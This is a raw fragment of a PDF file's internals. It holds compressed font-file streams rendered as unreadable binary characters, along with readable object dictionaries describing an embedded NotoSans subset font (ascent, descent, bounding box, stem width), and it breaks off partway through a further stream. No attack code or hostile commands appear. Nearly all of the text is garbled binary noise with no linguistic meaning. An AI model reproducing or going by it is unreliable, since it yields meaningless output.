Gr\50Uh9٨Ze:ŒN"DU!ĠRjh>L~WʅIݫEP/%d4S76Lq8޳EudYU}M?niŖGUT*@|@$F@%hd15F0qhqqMkcL27_2qMv쩺 (ٙ/_~so:uԩSuꞾNSR% /EA}QVzB.:&0q:n^`)8ކxXz5+Sq"F_U7|s` &4GE:0H^ұavL/m+OrsPõ$PdpM`1ܾvkm?O՞=EK%:ib#Ez,&t^ā? O D9,W7nlQye_˿ۂXNvի g5kuGZH5LDQnl4A#~%ؙ[ L tڥn3Qǫ[9Ծj| ٶݻ/)g);JWTbm?~xHsiLΈP 31,b҃w/]@%. ;d;")|eO^_]d:O_s_;3Cuzq,\3ņ8HltXjb"F+((PT X6TG~>g{Q6zAL0]|ޙeH UPW4 H0#Y6Gh!Jl&N]ۂ {8KpY#kO<ڸsccx}?{|YCő4eaϮ'Z\74=c֒)_k49+`d +l|HdZ%3/0|dT*.UPHaӅI>AwXuΈ u@"Eo =hQs.r9]1_[Vh,sNNaIGm'؊> `4 ^`s,lzyѪjqKoWILұk''?$j.%um.16cvEXIJ%JH+|-je':USFC 8;ɛ x$׮N*XB]v:4Nd2Nm2,J g|YcjŤ 7Sy&~8>zrLR֗Buس0~"|0(,(ߍg;"Ӻ.z5r|=s8Iq˅lq/LDf9FuJI.IDBt{ܟ%V˚4>-biB}Ǔ/i +Z"cegOĥP^S4az}ᜨ^jy:AT^=Y.av+B\^G__+#C y^|;f}>fdR=!uM ۚ6i۸3jjfL7n M|r#+3A,b&#ݎ]X]~751̣"(Ru*s6qs̛x+ɫlƏ/[TX0cyHF[an rŲ煝yͨqS?:9lIt\.l=3W X Z6klaJF+/6f}x߮$V)52u!p!(0jXahZ3`>!d2p([cKBvsO}1|mR2MX`=6T # lt#u>%'T,(']޷Gʟ*y/%2<"U~*ͱ(BB@O$A(Ģd 'g+x&LBnzlX5 u-5%hViQP&ʈhV T'[ZnEpTZ#R W|isKlBF`Iun<mIvNb TtՙHv_牖(7y7 b4!C4}dʄL8DKޜUIInqGP/ +=8z[2JM[“6h]T8n2H +Ď0Ǝ U? FPd3u<5AZVLĜ1DAW5!ǂa-t_ӛV\Ş}%oڙbށ}:D(s Žܭ;v{_cgex85.U5owuߞg}e+YGB[-ãaO/G1_x.]~^Rz7r=6DOg ۢ3h̯Yh}~m馦%T'7KS@kX>%\Ȳ4˜G?iKh }W#>&+YhUD$FDŽ8Ҭ4%O KwLO#5ǤL&'e d &fOv b)Q?w=)^O݋Hd~B;- +W&P)zz?_I\iUXBr~JNJ`$VN 1~(CQ5hR 9D.o8=W=uo!B8H%6U7f ͑NKj54ǴDݩD۪k}/oП`7c"-c!($+dV!nvW[Ȳ:[M/:`m_Q{0(a?lx (0!) rPCG 0gIL*عYB/s;k}&.4]+*PH= zXo!u.J2\nQP JCyWTvà:f L:֎jK5USzujI=+sH)]lDְYs2#~U艹dekk[dXI @=Abڳ˘Jd-3mbj~ +xCSޤP A/ 8JRNOLƐK\R|R+"̀o5O7;ǟ0 qBaIh|8a1G,B8KՍScfP RXibx1hGLڡ p R.+TJ#o|ۀMm83B8 h81p-*$>\GH| xxpB:Z <1ڜ/P,|8" h9_Y\ +endstream +endobj +6121 0 obj +<< +/Ordering (Identity) +/Registry (Adobe) +/Supplement 0 +>> +endobj +6122 0 obj +<< +/Ascent 1069 +/AvgWidth 590 +/CapHeight 1069 +/Descent -293 +/Flags 32 +/FontBBox [-556 -293 1321 1069] +/FontFile2 6120 0 R +/FontName /BCDFEE+NotoSans +/FontWeight 400 +/ItalicAngle 0 +/MaxWidth 1877 +/StemV 59 +/Type /FontDescriptor +/XHeight 250 +>> +endobj +6123 0 obj +<< +/Length 38037 +/Filter /FlateDecode +/Length1 112960 +>> +stream +x}|U97-d&mHf$!0@PB iB BЫJ(w+%`CŲ}-*]ۂ09;{99NN1 >tˮb(-Sv161}UynxyU[?n]\؜Xlkۂ0[i?P16mb=ZNo/~c~zνbopE/A:yϮq3ҟ37#~,Ą=tV}{F}e3YSwFoܷwƨHY=“mbcz +rU_̤F+lLL+SGwh:SkllżQ7*9.C"Oݪ=e6]ܡ6] ):vﭫN;v][?ozls~cF&y6yXׇo`uvL`tg=udc[|t{tw=hS8v֤9jƳc֩a]xvI?o?<6P=U}M=gIgGo!}"3,;rDz!bsY zGholձ=^CDs+`-ñD玌fcw_e{Qe,X2 zyQISo`]_κ7;xJҹtq\z?YnkQ>P*:GpV?an ̩[ruIң[z?ðnE")ղ=3v+Y!EϮ:/t6+6dE'ﬓ7.xRSdNd"1{j8ϞvvvnᦴT["E,bX"E,bwdΌX"E,bX"et "I E,bX"E,bX"Eהߦ8g4V|K"E,bX"E,bX"E,bX"E,bG b'ej]HAӋ/V2ue=Yo֏ aŬeUl&fetwWy:}@`~W+յuv tP8c5 B [E8B"$=ԇˡѬWp6 r뿪퓢u¿[(VbY Wx_wO8Lia'hpϡsi̯Pd-5{j4)M9߹{׭]xm9mYM 3gL6ujbƎ]>jdYiIqoS 2`y{rwuجXsthTZW 6qKup *;LUsYҋMGRIƆ*u/]|rzCأ鱚hX$23QU\ +ZWilYs[im ⵛōѽzh3*^ssM(Cf ٥u GffcZ8`bf6 \=w]ia3k=1 ZJmji[. t?t1]Rb>vxԅ=lLHŃÄ|چ-tzL$~JLGy<5V9vi9׺3Tֆ5ZgzkF+άo\.)q%޺p_K|]-:1[ C?^.1Zp8jõy%]Ҷjoc|5bLJNi)u4`}6̀W7ֈYr[?2'jзJ¢l˯81[p. KK-sp ];YA9ڃw(+K3JKc9^$L$kgbzQb pَQuXhG̉Gy۴H%[QRZrQ@xuw'J *Li ʚqz$U|wg=-6ݍEH 7b$n[1v985UtuB{j2(^n(7R:KEQeZPkέIqtj<5~(!bsăj{=:{(U@A2Ơnd׺hTa/"AFF юp&Rͱсoͽř6Pp<0E9 eFY-^0l{Nh-ف:ݨwl9c'y1w ;ܧgf8;O?&.5mG;S<*2`RDD]J@j 'ITGTK4h:՛FDS&N%D#&"HTI4h<8Dc*FrQAhHTtQ%*zÉN!F% ꃉ + $@S~D}P/JLяD?SAS@?#D{/N/>'gT䯔RPcDQއD}G.yRoL>f0y ]|5W^"/D^ z9*gg DO$zJ>Aljv=Fy=B·"NJnԃDm!&)vDKtfI8]N;(vۈn%fMDn`7R눮%jp$rʻRʻb6]H%/TD'Zׁ3A7&:+hZv|M>hU_I$:#hoNW-'ZFh b +/$Z׃SyTr.Q iDsfSfYԲ&H@%f NF-J4:=BЃDRs'у|h"QeMmby  zP +ARF,h[ * փJ5⠭TL(  &O԰4hH*`u$hP Z'P^' Z#M{zy(X,QQv*F)M1RL +(N NԅAFL-AA PFH@TBx8X*i"2 TRO%uT"NļN _{3|???Ooo=|#97೸Yο5;?>>vC}~xxx;4[}o߈mqqj +2_ع硟3sv>|*vs'>xO|>< +<p"C1c8V@uځpt}3W:1rn6v  f| p3lo4 F롯Ckĺ++ˁˀ?ޥwI8Ernyaεj\y/pkշƷʷz*y7rXuͫ[M0D;s}}+6/mWֱ&ewo>R%KKyRg)WRRR5fooE>h¢EEE-R"ѱȑQ\k)[[yo^\4pv,_Y__}L_]AoF4|S &l)NEI>j_UAoJqq-\]0WyodAg],]\]Th.h s>#Ƿs;jB|3MʋǧkR/NUS^NQ){'a7ɺDore,ɒJRoIc4.,!;@3ɝSov])18gRM(۝e#\<=V4ӄ)~^ J|z+' o;h&!`DKݰUҫAu@^CB3L_t=Y?~kUY^(<>>x8g">Bq7Xg">Bj7ѿn1N+47+^saqܫOٿCY2/hH"^x kfX ["KN\?$ψr.kPZ5j`888X,K%b`!-i`6 Ffu@-0LS@ N&>&`<0 *@90 + @ P #/P NC!` |^@O@7 7\ҁ.HR H H+`8 @4#`nD*`_}^_O?_{/_> +| +|| >>>   ^^^^^^^^ < << <vہm@'xxtA;;ہۀ[[MF&Fz:Zj*J +r2O%EB 88Xֲcsϱ9?csϱ9?cE3 883 883 883 883 883 883 883 88?{cs}ϱ9>{crŇ]̄Ex#c.;oL`sb֊ul=c39Pװvv ٟ[U~8]?Ũ[%2svSw2uC%Q\4$hnC{E:4PZ7GA%̦leukf126R7 MH@)/>Tj>[,bKR _ S"o^ʖk;d+٪rͳ9ghj3s;[Ss;ŬgO:jc 17_?a=\ή`W.cJ_nd7a͈+IS"a4{gjcYQҤJZLhFE=]هXGQ(4"ʪFQ +ʉr-VvMI&w;f=:W{ vdl fAujz!G4OKzﱰwIE)J=͞ {^fO!,R- *+OYcgO7Mlc(īq]*ɝ,Z1-թF}pʩl*▒Ćz Da.aLboNݚV:Aw^[ +p;/'apv[{:8/}8ح-:ejТZ E}oTKW1nhABOKmG_ujuGƟwǹ8X&=Ux6ۣ&avy̔͝Nђ{niI=:ZD51;=l[14c*FnP(z;_Cb/>P0:SP$Z )XiNIK̭t|ڼ&$cv'5rPYo3Fʡ GLǩBun9H9m ͙hRf{͞a3+Fr͕J4t4dDzΜIH9*fmTuX8,9追GVLZS3z혃=j>\Z7#Bo1#ƒ%1k>S&~^+/_#EuwX,Ubەb:ёfVL!ލ bx-NE]ڢՋv0ОphR # 9 j}MF?uhYg1OX8`ZqV5O:jϩc%tj0y%ӆ ?_՜ysiS.ꚒK5ם1hBqC^8rͤ^D5%1Xwzz?j%,ꧺrB1$wɉT7*99'S군~IHoLh7m!^ք<5/en D4$ĻՂ1~n9T'*yPIl$vwi 'g /uFkT-96zD]tbVtwbu1)2R) fJS 1Q{1.v)sQxƘZDa>nW +Xs{NC̩$u枝)9}?4`%vbew?Aq JZ?k4hAi<`Z80_b)3T?V*J!%W?,ϝzRĬn]*vGڇ:Utv +G\]\R!4lndTSrm{t +d' +ԙ^P2*}\*AzZpi}i2?uQJ8seE!; +9}V`%UAWb_~ְ~ᇶ\D|`9u>h`g{=f4E7̈́I$pE(Yg"I+':M<#h*jr^Px[tFqmxi8U6qhJq)N6'>ǻM&AYy]f*Nd"($+XqyƏpԇH!b9k947QfvSHB%!Yg>Y.<=m ڨ NY<4# y/̳z娒wM.(E(<wL+#vb58`_"`8Iu9YRƌzn$4 q&0н5cdd-XEi:pVEXNZJKsSM'71U^|pt޲Ӣ4y'͏]n^6(UX]>/=%{%fe985&ԀbG]yL~g"@g![@n~ݫ +w_to~mtiAI#"ˈ^lcP0ۜ4a׉އ$ikj?wH'HH!H4d.yZfO'0]_ya2Jl<>bTV+cQQ1fۥ`qlŠ=kwl s*vpG~(׽:ך͆C_;WDUfmG~so =;P}FkNF5e=ǍmxYͰ.n|k2{cXs"+#g^Î)g>sa}Vc} UoَDR1O(:wWSmZ k}kSR9רr~oi*?dU+~DF_Rw]Nꏡg'f9cĽ\(ӱH[M> BJSezVD~sL3 Άa!%;cuB&wV0i`yyS5\q'un֯Ho(KQ[4li.u#^ol[8=آǟ8Uw:59׮6DF'L:^[yǢ<زH7nLoP6E.N{}hCz:_}HD7 A>Sch%>zI +֪VUw>p|eMU߇WQSiDުȁQFw=EO(1udw/PqVcel- /8 R4э + wx|foЕ.jBbPEz3ԎC$7н1v:9v+r>sj3oc%/˄ (G'; <;jVsMZcBuR#PYO@p^0klnCsZչ:6tA&n^Ou."rVgՅ~=88%a$HD<њ}jN?T:rGOVxFnB5AG9Xxh,?5IcM1/bShh,!DɦʿkYSC WBS>C_+9r+O\za(.K%dy]8Oyǎ FX;y lGULɅSRN9hw"urHs!HCuՐV/U%E(!kBҿc|Zix C$INOD%,c7duҫF|i2g1_ 6jm$F%Ox%HD 8C$yWٛʵS@.Zg9N_` &AƠ9DQ:Ra,dYU:טtdޥ# Njlts|eOwM5 l-M-ZVpU[6}ahnfy^VPhfG#[K;ᑶn(X58=ܴkNٛCFco&^8"nS:z퐤cw$ָ A~ qȶy\09aUw8xK0;IaI54T8.s*AXD""i35\^Jb N9͆ߥ<4*MnΤ@ +LʆBaV7ڶ* G t:ɷo}c;vR (.ٝ?XW8[Z+Xݳe/`[>ׁ/Ը3Hd 3e@gȳ$/ dI葔VDR$ FD3D݌(<gK`Qr N(Z耑GGQc +x0],Ed6#|E"nk',Ps?v˃Z7?a@@ڪ~y(dd͍Dho_5~ܛ4j:0}Hʃ-HH#m{XɎlǎ zi#́&;4t@MoNg y 9)Jo ~ yMygWaoD6w)꽺q\s-2ɴ!>XHվ\i% _]c~optpPLRϼ@XRҚp)QǙ`gˉr +Vy]5Uzܭ[LKh( pc#=4\й,Kb-.bFXr֩e 2JV4Zar bTōTŦgpiJ 磜\{j{6{_ R`_ȺW. +W|"͠f[%=\L茫_>չRͼTKWH ںsH7. wM4tBY60YΎlr+Օ%F>>* [IU, 0:, N ay E*^p +AJ,S7-qX)֑P7j‡X9 x'o*w؎B/i,/7[ѫo bMz:,rqyE^EBԐutJW٢^OԮVۣoԦ2]AlMnpp7ŹKu!RWvT-Wb*wuCDُDG^/_|;hltqu@kƺ>؛``-uH?S,K iY"oI$}MCsm]`љ fBuEڏN_5&WYb\^cʍ>|9A6,q&g= AjH/rt,%_hD .w[K&1H^+Z];V9:65#ʇd;Ϣ*v¥&՞}7fо"J7Vn#c*Պϧr;1ȑ6@\-H[ +k˥TqFy>L[w9 #5x־^&\C/B%0dS#&#]fzTh.`pN%J}@c}4Â^\n_WNB˖%M1hGomNJ|TN. $&ɪ3-f;_e ~y/e*p|Yb- .bO ЎmjT6)u6Wl*I)M3Da\# "S}\ˡeXG(^+ǥN8 l/㩥6љGjO6usӲ8WM{9X,H}5{3G {Yz/%"|%ftjut,=$lFm-T}Ļb_A+m9,6f3DxhO:ir,ݡYCGaOb뵡^oر{Wp +[@ sb9X,JFiҴQiڨ$3IőbIRFFQ)9P7a}H]/7:%fA}xGƊx6x:AHH>Mi\7<`:CH4-yZRܴ@QMo z~\r^JJwr=\ ,tZQ-,鐬E+zRJLw.fpwƣ { Mқm^JRZ?t E RV3`Bzdicٱɱ~:4`~,5^bE뇦IE!|#0q%Ԅ u`F/ȏq6[is¿/&Щ~߸ܸѸH͖ȢmR,&4LA0#oi=-5ZwYY;2UT[,a鲤^N?Z=袌gWu5+rBẘ~S+Tdc.fmM\aii]CYx=*jA'](zsOX$t?F|qSd­ ^hz !3O2Z/ +j#,d ^(|] cx1^+kA@vᴾ5XNǙ5 \!mb-WV79&=5i|KS1rPJmF 'dOgue$+KhGu{pDp";U\IM<3FC'4K\,qEd%^m_*xte{e!iX> ęv>;6ekue^Zjq:$eP+y,ay1r 5$μ΢dUℛ(+ʰOۉ9[ΉH+D?td~^w$Cz`I-/JxqEWHTaDtxYXk/-Ic' ׺#MJ*%v痗 2?䢇WD|bWu:Cǯ!& +eT* jx|]]>5+NAFȢs@iBhȭ[AyءTvť$XصO04_#p ކEN>'gT#_xZz FQ]?rai6":2FjA@j=QH:Hddj=bEX{o{Wv y HXxu_tF{MQGF҅',T~}Y0PΌĢNVj-}K/^P5W?FU)8+ ՝XiA3Kh|nBM(}^,ګ\˵ʃi~$FTxTdDQяV6iOILZn @Hؽ}nP+qW$p +JDYsbsxO".D]I". ႕,`=u??WA|-Fewbjc5|$kfTeW^[E8jЗm#5QʢEɄ(b|<9ɡ38"7'}>C<հ$ NK!٫5I]wN% j7E/m\x3yvQ1N %T{;Y|PqWU3TPJ@HMN6.!SﰏoMUz,Iz5sM(O6d A2o>@Q?Y'K2UFk!G2띜 +99̯E kTS۴3b\;w#$ iЅs\q$r_(U;׼hrѹ̰{BfSaO)9{=Fr;1J^5h:jORje $~ rzS@I8z9H6Trcz+DvhH~HkZRѐ5VD,9 b%w4/j%jj󄍤tT>Qӯ0j (Ulެei茛|LYYO қu PsKc1TփVWob9Fht17$w詨tAE:@N7TGc$1&qH2RsE'IE%i$U<8Y8*}7R}*<ޠEŒ$}Fa ꍊ1j-z2Ø:CJ|zͬa!g=D@X7ьb=Z$`IrMc?d*KPh͝wӻ(tԔj aQ NX} |[G#ޏ#%YXIIGwڤmV#K$M[Җ6KYvЄ&ih \ ²K]J[~3s$;NhݟGs̙7yDWaYTZW&xUzؤ4Y׾>=yqï1X뇏{4YC z"Ft!o`uXB>G/BssC3`>&ԋn"X;a%{dsRY,?6Z T3Y: 5V"}~4<2G:\ޠY0r*n> Ƒhx%7+^ݦBAW8K_huq[ly6Q{䷫,Pa" sTlsk3|1}UUٲ8>DzZKUo}1vw"T=ƛbaȮzOx4>ojaʺ1 v551NT@{-DPHw׌Q95EНd^D?XMI'2"^*jyP>*˻@W6:LKmee**>8>u+BP;Re]@}jW9m鴵eSi(4`[W|mLJG_e8hJq7oxz-#;[#G{,#۝U}yZC=h?ye"p965t悏 +}%c _읚GVhJ2}1Wy"6:'yU6'F2zPNjNgl[sh9[Uֺ>ε4Wb3_t\=Vc#je^cӜ qt#_ 0 +#+3fS6Fz965ځe'ÍʇJ:v;XiSDQ{́I׀4x 2Om\+9r_Jd&D֋'cʇPㆇa"YRI)=Y\5;"Q_9_YqX=WMł?SȭJۭ}VI`d< mo;Cpu\gz[u _rmn[2)lmXcfU`xsbxB[t˫\5;溆[~VmB%ڜ[f $հ 8<[Tww<$vՋޚ;Lnp+8C3F:?VȺTVޏw)cCf΁s:J3GY_rWjhIB6re /F-Mh:ٍx,>jgD:7f7goX1fSVc(2 7U&5M-P?ۺF]vUh:g]z+5}-@]Wkxy)dh3ٚ53>FUz+F2Pk`"&ԊU"a&l~ z6iE;s +q=V~4]j[4ɚЇdgOa?޲85W5iS]gDEW{^CG{[N9`zRUk#<nž6ξw>RA_uWOPQ38vD$ ]:z^Q=ImSC3c2@!2%| r:W뙬kޘx,KRkhyƊ C TC}[6;#>I y± fef4fJ^C)mFj-2:!;=Ȅ]/Gwy>hr Ruf/.n ͺK0V7--V4a1A%Զ,֦=oq՜]ấO-oaFQ &bgv"/Yy<u`bcRud6UX,,ע;M^Cki% [ͪW; raP8׫Z 4vlhݰuE!j\TBC>ݶVbۦo2VSp:6A7Ĕ?n! (N'Qkl3G|ۇմL/]ŗMpm͏fݶ4k˫>U+D嵔ą^a.B1Ot?`eN;T}pƿOl4*UQ)o:4aS*XܤĦaTAQՆhuý%ULe5$mgG{@/@ Fյ +˞wCVLw Tf6zc-rWS0IhU-}utk S=?fi+k4,'y<C hɸU\$yg*~2Դ![o4 + +=:35ϪR<*j^~dX2jJ# a^[fZRaQT=c9\zm">.2O%MH -,l{+>=6}C0FޓvNښ$+jv7ǘEoӰChV}*$zu\RhL^Ī>LW+Y0瞃*J&1%"UjٿV1ڠ}kBc“y9u> Z~y_R|T'$geդrUqI*Ojکhku֙Ռq,ZC}RrM ǚ RcНe]dz~iePx{Hk~m֩ߵUt +ag nrZ?X싀/zuE|bަWi5txKj_JqϳF+Nu3YUcfvJ״HTZVS/W%$ 򒑥'"Kg%{ݻט$x8oԺJ Y5BϪ0G 94F;\_j]-aYg*[@m@ZyyBy3ᰏ;D`/V7Y%ysG&x7I)(ba WDl >oЦj:_Su6-Ӎ?ެ8ޤw溺[s]n]SB?D^TGwX<'!2,TKۉ* 61{yW?PtN!c+"̛1(&twPEt{3^L^Ucp\DLWZV֠ X+؎.;ouzzO (pdxByT/`3E 6'IPWL90s>hb)q^ QK{T·yhsM]7Q뵌nhU"qЪx6R܈Sch554jF.9ot9&#1#躬VINWe_٤2oRlyٌqvꔲ m@eڎlBW#Ⱦ/ދLRgM̺#ύO?-Qfvbg{Tf.݊dm/'HKG7(Vl䨒(Rf8IFAnZk20]6Wl{׆mOX7{QpؘƤƬ^Vmۦ-,>sC<ILfN|^k#;>h9~!Bٓx!Q`7k6糐Tս *h|Lղ +G8-mt +IϸSS맶 tС{ˇ _ PjHÎb8lrg7o@`MA2Q^ Uw6%"ǰt%ӈK3W7DRw`U4Oj轾yƠy=FA鬆vٝ#]{ڴ1Xzvcų|_0/Z-#U2y4|k8x<hwyעn1uҩ7C]O& DRԣ;dnbtS!00*0MVXTX >:L{Cb-cQ:8V۟p#as(6mHj_N&v |͍ n߲?wV\J_}KgZ&?ī$&v-IF  "vTfF_3Bx+2x 4]JцxWTd -zC(/]=X`6:B.xH@[~U+Հco38AۨڙWw:"):>O|Iq;VIƄYH|) \Gm]f%3zR+o9>_%:DCpcᡛ7"ԛ>PWYYG:w&{\A`Wfku;bΎЖ}isEHW X,2i݆֚xBq:/X'Hx" i*6Y=Ҕ:!V6H٣Vj`hl絴l3}nfrXMCH9nUFbV7>ڼcwpu_1tXyr'R#rz Q @7-mdnlvo; eiظ~%΄=<=>H O̪}orOuźb 8ź ||Ã#?}3x%1K7k8C8xpw]]yqnwy6~c Bwv&XQJ>љ@aKZ\M&͆]c/ޘ7dd% }DL_1+ iI)VXLaKYRV#=*Oq3ρ9'՗]%{AWnyύ]#ڹjy^(zzC{:tMDz1hfYluj^eUi +oQ+Tq/-- s|C!f\dOerp-0~@'_pY +8:9vwvX#=  ,$c׵nM Zκ1gSalqowiov6} 5*?k͂eE6t Oߣ4uoIiL6N9Tk=+ [k'9t{Vz!7%Yx`S)F Z~꬚y9-$sP_r + ̥,DK_bjV+885}Ƕ~Wcځ 7Jjbj ovgCChPB0F|+a,YWW+qdj)kvUED?T3A}vؼFOI0yafF۬oVۺMgkpNW +fFRBKxWXcRqzAz dAVLEЅo@D*?d6x}e} EKFYgQصF %fYHeXHPu፷ ۻgb+e/~Zqz05fqjow4vzvwm֝` jx|S1!ⰴXZբv&ɭ7 7#Y= L~a_;hIm:pK:qqţ0^ b̽xd*Y%$ó"c~52%>OL֒֯ދu59گK_$uމ!dXA_I^UtJkOW'V$fxRC߄Wџ4JjoJ?RS{[@lcN=M:D#޹1g__u0z9QFk{2*nh_=cџ]MMЙUԷjWB=ץ_Bo.Kz? co[5Z5Z5Z Wן\5Z5Z5Zg?}~hhhh~if'hhhhhhhmй5Ⱥ6Gf V YdT +Ԡk)I!&^N(M +kP+w"Q.)cK%=zԪ6UO# +ay R;?"Yvo)@./& n^ +jhZdvOHaGmI)GRؠVF#~8aZ`0ř)4LqaeM3 j)4Lqa3 SiLg6]0/Pv BEG%;BET d CeD4q3hY~Ӑ!AhbhRҐ^tD49|HYNDCp\XuAr֋I)ȡiE(7̑Ri%T\bB놌-=K[¬d9H,Gt-5ŌBl'I*ǵan#QyZm6H'  R-[dX~"FDr i(3R.^)NT"6k2g +8I#u!Wn]%~rd\@׶2)sX".xE՚yu;9#u[.xҧǴw8BaRZ"%V' +`QEB.doQ$3C,$:tfyY栚Bo5-;/) +}X9IȔ+ږS”vZN0 +UԶkNjh.i<%iҢdI‡+KwP)^s"C[j h0M0-KJ9+%"iԧ0[$͐%uО% [YS~WlkE.M-'WJPW5PcX* 䶲XOXHfkzX$%-T ]ֶ%TQI%RKzܖ:=7u +җH]=]-@ru[N'B+:W0CL3#]o&:@1Hq4 8CA"9g!N ߻$el$;[tqxpClD^+.j+)QlM@cՍV?B;+|Hn$qqrcnHLIdT-\rD엮`aƁRm$nm9%=.sHE K;NΪRQMm&`T1&ȑ2QrTTq3An9L].'+K=@,q IHb!#z)u2vpBúEj:u"_'ij\0 &=3Qhu|%~bHEP@;2S|),n b"lV̖KD.HOG cbzQUH,BYg2STpqΝ]bm'R¬8M姎ClN[.rfJb6c)3LT"Cb)PJT1-.E<wl+gҹRz@,bzn2==4VN1.2Rds*,fp)q.B9\ r)fRsIq1SK lZ,LnܙtcTy.4H)CSv4\R[L-̥. Jbm`n!l6(bf*XXgp Ș ɘTNV3Q$Υr'ũP)×))aDө9qg  ,RJѲLͦXH,dSŊ]^{?@UǗA_.sq,Qi2gʃL_ +J-Eqϗgºhtqq12'B~*̞Ns咔40*ZXiPfpx(Xq4b +T[NәR *P)H1]˔ːI"lM(گ`za܎ێ ,ffk8[B3~|,%iբ&9p=ni-[5Hbr^pJ:"9\6^^Bp`\V`:ifrD]ۥɱB2f&3e>`%T x*-d \d1s &1``}~ AL1" *F$SF#SAPh(68p0Qw +監=Þ{Mq4=!{9y{q/́cqis'{{zr<8|wg=]m86p| ˍw-o su ߙq{2@5Ëolqpw@+zww%8!tvv&z׃?ыlg6@fml/ +elwYX'r)Dn:G{?^|7W|n^ՆQzx^X{=q8xx\p!sIUgh=X쭝A'~xc]ɟYBR/$4,\tc~m\ڸtk۸`?6/n^kƯ _G_71zk#FƯ{̞@@&#?Jo &ޅQ8l6 +m?^RoOl{))=YgKKx{J϶78hO [m(4i!JBQ)U@|Qe$ PUd!hw9l@"%h MDH#:f"e+4 BQ t:ݏ*U(5DOzǣh8!OBS~f_N4?+_+X5Xcu.fk.^`=gXK`ft`Ve` j :X3uMg%VE`Vk`uV?`Xsu j`=w5~A3Q V `5VK`uV_` Y*%XuCzX:>JcVe`V`@`Xu7Vk#gZk(9Z zXok+*a"* x@ Xu:&R`zX `mOlT +(u X'k0B`<`zX%`m'ɝ$;DrYbJ :Xu..` ǁ>ַh JCQ=`5V'`TQ:X35XK6k+֏doC#O"HZ\!%X݀t*Jf eQNt':Stά)VIӓ22pY8R;PC4T!! o}9{wNA̪ +O FKĂ4 &ǤQә^;K' &ψtQZDR(Y +n F[N"4jF;#: z_2(VeP +(d++ Eid($2^A+dvaa!AKs:)dG ǪNepYvՂp_YP\Dk/\٠Xe8Vxν70^h0 +!_Y eUYpg2Zh?68یm3f`QR[(nfCH1\ݴL'2UVGMKgJPQ $2pڴڃDB$dA6+AJГҺyDL~Y,aR{ hpAۆ&2 ` +1AK 0@JbnT6`TAt \4G-&Ù{S\d[ȶLU!%1{& + BBH3V aPD BK!u[,L-pΤLHw*•-ћbPdU@UL**R8n&ai"QPY4DcSub&Қvykm vn 0#砃Q($2<;Ԏ!<0AYYu0yTQ0h NvUD,`׀# 6Jb~.AGI*|`K>,FRSp +,Iv +6e3UXAR%v@ +&AUb $],=eK((5i7lYXu*]&nVUՒ8FkLWƼ:mA]ݹْtTKOo%dHcÉ :\aVW* gHy0 , 3;q ͫZRHPIJU􎣻D,1(CV߁0ykjYqf{| ^;[z:Tk§5聁0R0p(ß03PAX Ǎ2nt,LC$XR$$)f[u&++u\*Q-)x`h40  \kàvD\23:|x|<~nͱ&挋 &޸8&Ds /~6oYQJ0jC+1$*A**-0_,A@&)P,MC)ЄR += Xfe"bFn'1^ `02? WUC +0!&$^H&$ V3:IG\~EWc(do +Mɕ '0~zDtxBL4WJHxDDp1E)#W[ +^O +LZcC$Ƙ)f51a!b{26Y2dk7[6BSx{ۛ`Ɔ:\>w&)zoRhI(Rb1wԼ6xG?=>t`xgG?}ZgFjUL_Nk _[`:; + &6=<_eLֳdR1 ',Sp{q\gd?Ple2Uu Nªod>PܱB޴ps;.\S O>zzboNz %YB֢I^]oKQxƻ[r7ʆa AQh)JPSd{}8j1K RRcj=bmVg]VcT!y T(./WhnzMp^K5#nEˆDüRᖈ⌍{)/!: ;`H2HƽĐ0s/w>$Gy\TT JO!՜s0fy-Ӭl|o+[Pml*ؑwGja)+vLRW`,kK~h뵀{˗~(IڹM'慔1ݚ\&Uwe&>2}7Y:h$:{kVFc:2+>bpl#WB7.PK]7iOReS|k.*Z!}\PbbQ53%սjŵƂ(_HѤW xFyaD03x)08 E/%+|俨hz d]qڟnXp`K]UIPS8]nѓ~3mߚN3ugC\S{)[8*ZSCUkCEq.`1㫹lzU鍯;m;.NJox1ru' gLusȹvm!ފoFN:_~$r墙K~VUӮQG>&nM0h\EW]f\=bwvneLz*|IMkbݫi+_E޺nv}%w{Mh{'zȻ3Kfn K7r$/k%zF,3nUBW:E +ǏnΓ7" +" <ݐX=2st`2x#w(6_!Y Gz_􈉁 ʱNLw3 F)w}.5{A7Wk͋zyw-.B gs+^k9lVY?y|:Eԇ홍* K߼ W$C-Ejg?hVTfCq54o9x7=tؕ~H<#;^Zp5j΋2Q j +۞-ui%2imI_ Jň4vÑZR$kƍw.ZSHگ$Ya^p'o5'84RIF*F_bwxVP1i{MCK]/ͩXr]Fticz}(xkB݃vVBF7s- +| ֡BBt˟/ƿrbA[1NlA'8lER~t-f +vsnK&bY>㊠qbr*-ᱟw=Lӕ q?kHfڃE뜜0Yq,K(l䎟5Ǫkm1S fk͏͙˧zy(CQ*v)#m+}|16hlG֬G+*\ l U䰰6)od:[FZM|N^11 /g(|yf}E2ێ>}P̗3~;>KtXeҒA!$sRߕ>_v&x_⤝^"8\O;=/kWigT>Wv;%ɚ_Q8YI9oNMivVIo2[`BLH Y +d_$J(0ф3 O32-D絃$X;`l'9w7LR-:4xa [IdݠfV;D +*˵)dANMZOxw^vM0J=@m Tc ';+Lm%'1fJ[x!CK\Z)QO$9cѓU\&jnNk4Zs[E>Eyԧni +o|fc0*{KW\hsJhDitBÿI09}&Y9KV&QC7bxWQT+"Pe=M~S/:YxT'_Hӻ v9ȽHBUr.{;=1-jU?h7auM\JKN:ss.|d犻/ +JnݯMv T涒K]m9ۢj4Wj2q.|r^ѝII2Snp3HQ1&׷ʎ:\jFVkg%C{/%QLēxciQCf{Vr{A-,ZOP +] +ч>0oad}( en2灹cb˜-s#?K-9\,5K]ի$]2鎄6ǬxYDT`\rpl(̪W 3T(!oL//^&O\|k/r~ &x}WY ^gndvvuEgM܅E_Y>e{|܎-77*Ν=w3{ +Nf6<ʾD>o 9mg!3[v¢oFN,>umk ,"'Uѓׯ{mw6UQF[y]3o?so>)ynG{ߔ˘`??KCaa[;c8fN)9PcEmC4-2.a +wV.To_2V薚A5Jƹwott\AܦSIĂ6vV"{,0pacwO |y'TE)뚑E 'G86L '#OAN<QLWi{uiMt=p_)\S^9m]g';{іOU_5lOF{kH[cYޝ)SnPa^aʄwY$WWiR(zxc|4b2j:yvOfٹڕghְޝ6ˊwPRlcNZϜ lY(>tfUvE0F.Qi$Ig??lf֡Dvtvlvǡ VgN W^e;el:ղVƉ,CZ +endstream +endobj +6124 0 obj +<< +/Length 6869 +/Filter /FlateDecode +/Length1 20384 +>> +stream +x|{T[GgU݇^HI H<$ty06` 